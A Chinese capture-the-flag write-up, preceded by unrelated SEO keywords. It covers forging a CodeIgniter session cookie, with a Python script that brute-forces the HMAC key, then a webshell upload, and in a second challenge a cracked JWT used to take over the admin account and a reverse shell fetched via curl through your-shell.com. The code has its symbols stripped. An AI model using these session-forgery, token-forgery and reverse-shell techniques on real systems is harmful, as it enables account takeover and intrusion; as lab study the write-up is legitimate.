银川网站开发培训,手机网站创建站点成功,中国铁建集团门户网官网,莘县网站定制目录
前言
baby-Codeigniter
组合拳#xff01; 前言
本想着说看看go的gin框架就睡了的#xff0c;r3师傅提醒说赛题环境已经上了#xff0c;那不赶紧研究下#x1f600;
主要来谈谈做题的心路历程
baby-Codeigniter
拿到题目的第一反应应该是#xff1a;“什么是C…目录
前言
baby-Codeigniter
组合拳 前言
本想着说看看go的gin框架就睡了的r3师傅提醒说赛题环境已经上了那不赶紧研究下
主要来谈谈做题的心路历程
baby-Codeigniter
拿到题目的第一反应应该是“什么是Codeigniter”接着自然会去面向搜索引擎解题
在那之前我们可以做到一些有限的事
弱口令admin 123456登录成功 但权限不够需要super administor自然的我们会去看cookie
url解码后是一段有意义的键值对hash值 尝试将0改为1(false-true)并urlencode还原 然未果显然结尾的hash部分是鉴权的关键具体的密钥、算法这些我们都不知道需要借助搜索引擎。但大方向我们基本可以确定是session伪造了
很容易搜出P牛文章
客户端 session 导致的安全问题 | 离别歌
接着就顺藤摸瓜找到爆破secretkey的
https://github.com/Dionach/CodeIgniterXor 但并不能爆出来然后当时就卡死了啊哈哈( 后来询问出题人说用的那套源码不是xor加密而是hash_hmac加密前者是更低版本的加密方式
歪日可是也没给我源码啊QWQ(
不妨在此处下个断言“在拿到源码的条件下只要验证信息存储在了客户端而非服务端都有伪造的可能。” 审计源码找到set_cookie的逻辑
function _set_cookie($cookie_data NULL) { if (is_null($cookie_data)) { $cookie_data $this-userdata; } // Serialize the userdata for the cookie $cookie_data $this-_serialize($cookie_data); if ($this-sess_encrypt_cookie TRUE) { $cookie_data $this-CI-encrypt-encode($cookie_data); } $cookie_data . hash_hmac(sha1, $cookie_data, $this-encryption_key); $expire ($this-sess_expire_on_close TRUE) ? 0 : $this-sess_expiration time(); // Set the cookie setcookie( $this-sess_cookie_name, $cookie_data, $expire, $this-cookie_path, $this-cookie_domain, $this-cookie_secure ); 函数名为 _set_cookie它接受一个可选参数 $cookie_data用于指定要存储在 cookie 中的会话数据。如果没有提供 $cookie_data 参数函数将使用类属性 $this-userdata 中的数据。接下来会话数据被序列化以便存储在 cookie 中。这是因为 cookie 只能存储字符串数据所以需要序列化对象或数组等非字符串数据。如果配置中设置了 sess_encrypt_cookie 为 TRUE则会话数据会被加密。这通常用于提高安全性以防止会话数据被篡改。接着会话数据被附加上一个 HMACHash-based Message Authentication Code以确保数据的完整性和真实性。HMAC 是通过将密钥和数据进行哈希计算而生成的。过期时间 expire 被设置为 $this-sess_expire_on_close 为 TRUE 时为 0否则为当前时间加上会话过期时间。最后使用 setcookie 函数来设置 cookie包括 cookie 的名称、值、过期时间、路径、域和安全性等信息。 显然靶机这里sess_encrypt_cookie为false那就好办了我们可以用爆破的方式来反向推出密钥 根据上述逻辑交给gpt去写爆破脚本
import hmac
import urllib.parse
import hashlib
import timedef EncryCookie(cookie,secret):cookie urllib.parse.unquote_plus(cookie)cookielenlen(cookie)-40cookie cookie[:cookielen].replace(superadmin;b:0;},superadmin;b:1;})hmacstrhmac.new(secret.encode(utf-8),cookie.encode(utf-8),hashlib.sha1).hexdigest()return urllib.parse.quote_plus(cookiehmacstr)def CrackSecret(cookie,secret):cookie urllib.parse.unquote_plus(cookie)cookielenlen(cookie)-40hmac_check cookie[cookielen:]cookie cookie[:cookielen]hmacstrhmac.new(secret.encode(utf-8),cookie.encode(utf-8),hashlib.sha1).hexdigest()return hmac_check hmacstrif __name__ __main__:cookie a%3A9%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%2299e46d024b833c6b5500dedf50c788b6%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A13%3A%22211.83.126.36%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A111%3A%22Mozilla%2F5.0%28WindowsNT10.0%3BWin64%3Bx64%29AppleWebKit%2F537.36%28KHTML%2ClikeGecko%29Chrome%2F123.0.0.0Safari%2F537.36%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1711815002%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22123456%22%3Bs%3A12%3A%22is_logged_in%22%3Bb%3A1%3Bs%3A10%3A%22superadmin%22%3Bb%3A0%3B%7D0dc8ff2053d4e55770718165801d42d106b53040secrets []with open(secret.txt) as f:secrets f.readlines()starttimetime.time()for secret in secrets:secretsecret.strip(\n)result CrackSecret(cookie,secret)if result True:print([]Success:secret)encrycookieEncryCookie(cookie,secret)print(encrycookie)exit(0)else:print([-]Test:secret)
成功爆破出密钥为123456并拿到伪造的session
带着修改的cookie上传shell 连蚁剑拿flag 组合拳
进来弱口令没爆出admin然后注册个账号尝试登录显示权限过低这不一眼垂直越权 还没登录进去自然也就没有cookie不能直接伪造
那咋整呢可以去研究下“忘记密码”功能 拿到一段重置密码的url
http://node6.anna.nssctf.cn:28537/#/reset_token?email2113566520qq.comtokeneyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiMjExMzU2NjUyMEBxcS5jb20iLCJlbWFpbCI6IjIxMTM1NjY1MjBAcXEuY29tIiwidHlwZSI6M30.iyVS_MGthahgJtRcTbICgKP4tYySG8c_9h1Y6vrc9UA
分为两部分第一部分是email地址第二部分是一段jwt的token
关于管理员email地址可以扫一下目录 访问/.well-known/security.txt 得知管理员邮箱为Administrator163.com 访问/README.md不知道有啥用
搞定了email的问题我们下面重点关注token
直接拖到jwt.io里去解密很明显要把name和email分别改成admin和Administrator163.com jwt的密钥用jwtcrack来爆破就行得到是APjT 再伪造下jwt 访问url
http://node6.anna.nssctf.cn:28537/#/reset_token?emailAdministrator163.comtokeneyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJlbWFpbCI6IkFkbWluaXN0cmF0b3JAMTYzLmNvbSIsInR5cGUiOjN9.X6FS_v6PLmG4jkZib0PmJZbs4WARAWc1bQsAmBPrxQI 重置好了密码为123456 输入admin 123456成功登录 更多功能-资源下载
对任务内容base64解码后为print(hello world)是一段py代码
我们只要给恶意命令base64编码然后更新任务即可但抽象的是更新的间隙足足有864000秒即24小时而且貌似前端还改不来 提交也抓不来包只能审js了(这里真的很不擅长只能跟着官方wp走了
其给出的合理说法是每当更新任务时都会调用getKey 其响应体为 关键词搜索keycode
这里的逻辑是判断keycode是否为字符串是就跳转到 case 11 分支 在return处下断点 可以看到最后的返回值就是n和o的异或的结果这个我们不必在意只要知道与二者都相关就可
将反弹shell命令base64编码(经过询问出题人直接nc或bash靶机都不支持只能curl了)
用这个网站来弹
https://your-shell.com/ 在此处下断点可以操作局部变量n 控制台改n的值令time为1 继续跟几步可以看到成功修改了time 成功执行命令反弹shell拿到flag